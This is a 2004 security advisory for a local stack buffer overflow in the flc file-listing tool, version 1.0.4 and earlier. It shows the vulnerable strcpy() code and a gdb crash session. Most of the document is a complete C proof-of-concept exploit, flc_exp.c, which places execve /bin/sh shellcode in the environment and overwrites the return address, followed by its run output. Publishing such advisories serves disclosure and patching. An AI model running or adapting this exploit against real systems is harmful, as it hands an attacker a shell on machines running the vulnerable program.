06 - flc <= 1.0.4 Local Stack Buffer Overflow Vulnerability

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· 19 Dec 2022

No System Group - Advisory #06 - 24/09/04

Program: flc
Homepage: http://ucon64.sourceforge.net/
Vulnerable Versions: flc 1.0.4 and prior
Risk: Low / Medium
Impact: Local Stack Buffer Overflow Vulnerability

DESCRIPTION

This may be freely redistributed under the terms of the GNU Public License flc lists information about the files in a directory, like 'ls' or 'dir' commands from the fileutils package. But in addition, it shows FILE_ID.DIZ information (from files and archives), ID3 tags (MP3), and MET files (eDonkey or Overnet) It is very useful for FTP admins or people who have a lot to do with files.

More informations at: http://ucon64.sourceforge.net/

DETAILS

Due to an unsafe copying of parameters from the command line using strcpy() in flc.c, it is possible overwrite the return address:

--- flc.c --- 
140:  if (flc.html) 
141:    printf ("<html><head><title></title></head><body><pre><tt>"); 
142:  if (optind < argc) 
143:    { 
144:      while (optind < argc) 
145:        strcpy (path, argv[optind++]); 
146    } 
--- flc.c --- 

coki@nosystem:~$ flc `perl -e 'print "A" x 50000'` 
Segmentation fault 
coki@nosystem:~$ 

coki@nosystem:~$ gdb flc 
GNU gdb 6.1.1 
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There is absolutely no warranty for GDB.  Type "show warranty" for details. 
This GDB was configured as "i486-slackware-linux"...(no debugging symbols found) ...Using host libthread_db library "/lib/libthread_db.so.1". 

(gdb) r `perl -e 'print "A" x 25632'` 
Starting program: /home/coki/audit/flc-1.0.4-linux-bin/bin/flc `perl -e 'print " A" x 25632'` 
(no debugging symbols found)...(no debugging symbols found)...install.sh   N 120  11-03-02  install.sh 
flc          N  20448  11-03-02  flc 
txtextract   N  13964  11-03-02  txtextract 
id3extract   N  16876  11-03-02  id3extract 
metextract   N  16268  11-03-02  metextract 

Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? () 
(gdb) i r esp ebp eip 
esp            0xbfff91d0       0xbfff91d0 
ebp            0x41414141       0x41414141 
eip            0x41414141       0x41414141 
(gdb) q 
The program is running.  Exit anyway? (y or n) y 
coki@nosystem:~$

EXPLOIT

------------------ flc_exp.c -------------------- 
/* flc <= 1.0.4 local stack buffer overflow exploit 
   (Proof of Concept) 

   Tested in Slackware 10.0 

   by CoKi <coki@nosystem.com.ar> 
   No System Group - http://www.nosystem.com.ar 
*/ 

#include <stdio.h> 
#include <strings.h> 

#define BUFFER 25632 + 1 

char shellcode[]= 
		"\x31\xc0"                         /* xor %eax,%eax    */ 
		"\x31\xd2"                         /* xor %edx,%edx    */ 
		"\x52"                             /* push %edx        */ 
		"\x68\x2f\x2f\x73\x68"             /* push $0x68732f2f */ 
		"\x68\x2f\x62\x69\x6e"             /* push $0x6e69622f */ 
		"\x89\xe3"                         /* movl %esp,%ebx   */ 
		"\x52"                             /* push %edx        */ 
		"\x53"                             /* push %ebx        */ 
		"\x89\xe1"                         /* movl %esp,%ecx   */ 
		"\xb0\x0b"                         /* mov $0xb,%al     */ 
		"\xcd\x80";                        /* int $0x80        */ 

int main(int argc, char *argv[]) { 

	char *env[3] = {shellcode, NULL}; 
	char buf[BUFFER], *path; 
	int *buffer = (int *) (buf); 
	int i, ret; 

	if(argc != 2) { 
		printf(" use: %s <path>\n", argv[0]); 
		exit(0); 
	} 

	path = argv[1]; 

	ret = 0xbffffffa - strlen(shellcode) - strlen(path); 

	for(i=0; i<=BUFFER; i+=4) 
	*buffer++ = ret; 

	printf("\n flc <= 1.0.4 local stack buffer overflow (Proof of Concept)\n"); 
	printf(" by CoKi <coki@nosystem.com.ar>\n\n"); 

	execle(path, "flc", buf, NULL, env); 
} 

------------------ flc_exp.c -------------------- 

coki@servidor:~$ make flc_exp 
coki@servidor:~$ ./flc_exp /home/coki/audit/flc-1.0.4-linux-bin/bin/flc 

 flc <= 1.0.4 local stack buffer overflow (Proof of Concept) 
 by CoKi <coki@nosystem.com.ar> 

WARNING: /home/coki/audit/flc-1.0.4-linux-bin/bin/.flcrc not found: creating...OK 

install.sh   N    120  11-03-02  install.sh 
flc          N  20448  11-03-02  flc 
txtextract   N  13964  11-03-02  txtextract 
id3extract   N  16876  11-03-02  id3extract 
metextract   N  16268  11-03-02  metextract 
flc_exp.c    N   1425  09-24-04  flc_exp.c 
flc_exp      N  11336  09-24-04  flc_exp 
.flcrc       N   1162  09-24-04  .flcrc 
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